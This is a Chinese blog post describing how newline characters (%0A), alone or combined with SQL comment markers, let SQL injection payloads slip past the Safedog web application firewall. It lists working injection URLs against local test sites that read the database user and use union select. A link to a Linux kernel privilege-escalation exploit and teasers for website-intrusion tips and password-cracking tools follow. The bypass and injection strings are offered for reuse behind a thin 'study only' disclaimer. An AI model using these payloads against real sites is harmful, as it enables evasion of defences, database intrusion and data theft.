测试版本:IIS版V3.3.09476(2014-09-24)、Apache V3.1.08512(2014-05-29),均为今天能下到的最新版。
用于绕过的核心字符:%0A,某些特殊场合需要和注释符配合使用。
测试详细步骤:
1、本机安装了存在注入的V5shop(构架为IIS6+ASPX+MSSQL2005,以测试IIS版本的安全狗),常规注入测试:
http://192.168.91.152/cart.aspx?act=buy&id=1 AND 1=user
AND作为关键字被识别并拦截。
2、加入%0A再次尝试:
http://192.168.91.152/cart.aspx?act=buy&id=1%0AAND 1=user
成功绕过并实现注入。
另外:在Apache+php+Mysql环境中:
先按常规进行注入尝试:
http://192.168.91.152:8000/About.php?did=2 and/**/(select user())=”
因为and、user()均为黑名单里的关键字。那么我们加入%0A再次尝试:
http://192.168.91.152:8000/About.php?did=2%0Aand/**/(select%0Auser())=”
http://192.168.91.152:8000/About.php?did=2%0Aand/**/(select%0Auser())=’root@localhost’
当然,%0A只是一个思路,由此发散开来便是多个%0A叠加,或者与注释符–、/**/混合使用。比如:
http://192.168.91.152:8000/About.php?did=-2%0Aunion–%0Aselect%0Auser()
成功绕过,毫无压力 。
此 *** 仅供学习研究,切勿用于非法用途。若需转载,请保留版权(STD兄弟连)
另:测试用到的安全狗版本已打包:http://pan.baidu.com/s/1c05v54k (包含了IIS和Apache版本)
国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞,成功利用该漏洞可能获得特权用户,还算新鲜,转来给大家看看。比较好用的~ http://fucksheep.org/...
什么叫Nexpose? 由管理方法Metasploit(Rapid7)的工作人员构成,该专用工具是一个漏洞检测程序流程,致力于适用全部漏洞管理生命期,包含发觉,检验,认证,风险分类,危害剖析,汇报和...
什么叫QualysGuard? QualysGuard根据出示重要的安全性智能化及其自动化技术全方位的监视,IT系统,合规和Web程序运行的维护,协助公司简单化安全性实际操作并减少合规管理成本费。...
韩剧《幽灵》电视剧中出现的黑客软件工具 一、入侵检测类: 1、Wireshark 抓包工具,前称Ethereal。是一个网络封包分析软件,用来撷取网络封包,并尽可能显示...
入侵网站时的十种小经验 1.例如我们的目标网址为“http://www.xxxx.cn/forum/index.php”那么我们把地址改为http://www.xxxx.cn/for...
什么叫RainbowCrack? RainbowCrack是一个哈希破解工具,能够 运用规模性的時间运行内存来最合适的。一个普遍的暴力破解密码者逐一试着每一个将会的密文,这针对繁杂的登陆密码而言是用...